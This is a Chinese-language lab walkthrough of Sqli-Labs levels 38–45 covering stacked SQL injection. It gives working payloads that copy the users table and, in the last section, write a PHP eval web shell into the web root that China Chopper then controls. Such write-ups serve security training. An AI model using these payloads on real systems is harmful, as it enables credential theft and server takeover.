Sqli-Labs less38-45

less-38

 

前置基础知识:堆叠注入 参考链接:https://www.cnblogs.com/lcamry/p/5762905.html

实际上就是多条sql语句一起使用。

 

在38关源码中加入输出sql语句的代码:
Sqli-Labs less38-45

 

 

 

第一种办法:其实直接可以使用联合查询爆出数据:

http://192.168.0.106:300/Less-38/?id=0'union select 1,2,3 --+

Sqli-Labs less38-45

 

 

 但是主要考的是堆叠注入,所以我们用二种办法:堆叠注入

http://192.168.0.106:300/Less-38/?id=1';create table hzk38 like users;insert into hzk38 select *from users; --+

Sqli-Labs less38-45

 

 

 Sqli-Labs less38-45

 

 

 

可以发现,在数据库中已经新建了一个表,并且信息都是用户名密码。

注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构

参考链接:https://blog.csdn.net/qi95719/article/details/60883148

 

less-39

id=1

一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-39/?id=1;create table hzk39 like users;insert into hzk39 select *from users; --+

 

less-40

 

id=(‘1’),并且错误不回显

 

一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-40/?id=1‘);create table hzk40 like users;insert into hzk40 select *from users; --+

 

 

less-41

 

id=1,并且错误不回显

 

一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-41/?id=1;create table hzk41 like users;insert into hzk41 select *from users; --+

 

 

less-42

这一关与之前的二次注入类似。但是这次用的是堆叠注入的方式。

观察源码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

此时的sql为: "SELECT * FROM users WHERE username='$username' and password='$password'"

里面的password没有经过过滤,并且是单引号进行包裹,所以在这进行构造,注入之前可以现在浏览器把password的type改成明文格式方便观察:

Sqli-Labs less38-45

 

 

 

 

a';create table hzk42 like users;insert into hzk42 select *from users; #

Sqli-Labs less38-45

 

 

 Sqli-Labs less38-45

 

less-43

 

与42关基本一样。区别在:id=(’1‘)

password构造语句:a');create table hzk43 like users;insert into hzk43 select *from users; #

 

less-44

与42关基本一样。区别在:没有回显信息    id=’1‘

password构造语句:a';create table hzk44 like users;insert into hzk44 select *from users; #

less-45

与42关基本一样。区别在:没有回显信息  id=(’1‘)

password构造语句:a');create table hzk45 like users;insert into hzk45 select *from users; #

 

注意:如果你做这几关数据库乱了,可以直接在sqli-labs首页第一行重置数据库:

Sqli-Labs less38-45

 

 

 

 

堆叠注入的另一种打开方式:(less38-45的第二种办法)

堆叠注入写入一句话木马:以45关为例

passqord注入语句:a’);select '<?php @eval($_POST[“hzk”]);?>' into outfile ‘C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-45\\mm.php’ #

Sqli-Labs less38-45

 

 Sqli-Labs less38-45

 

 然后用中国菜刀就能获得权限:

Sqli-Labs less38-45

 

 

 

 

 

 

另外:

这几关的注入提示语句:哈哈哈

Sqli-Labs less38-45

 

 

Sqli-Labs less38-45

 

 

上一篇:sqli-labs个人注入心得


下一篇:Sqli-Labs less-7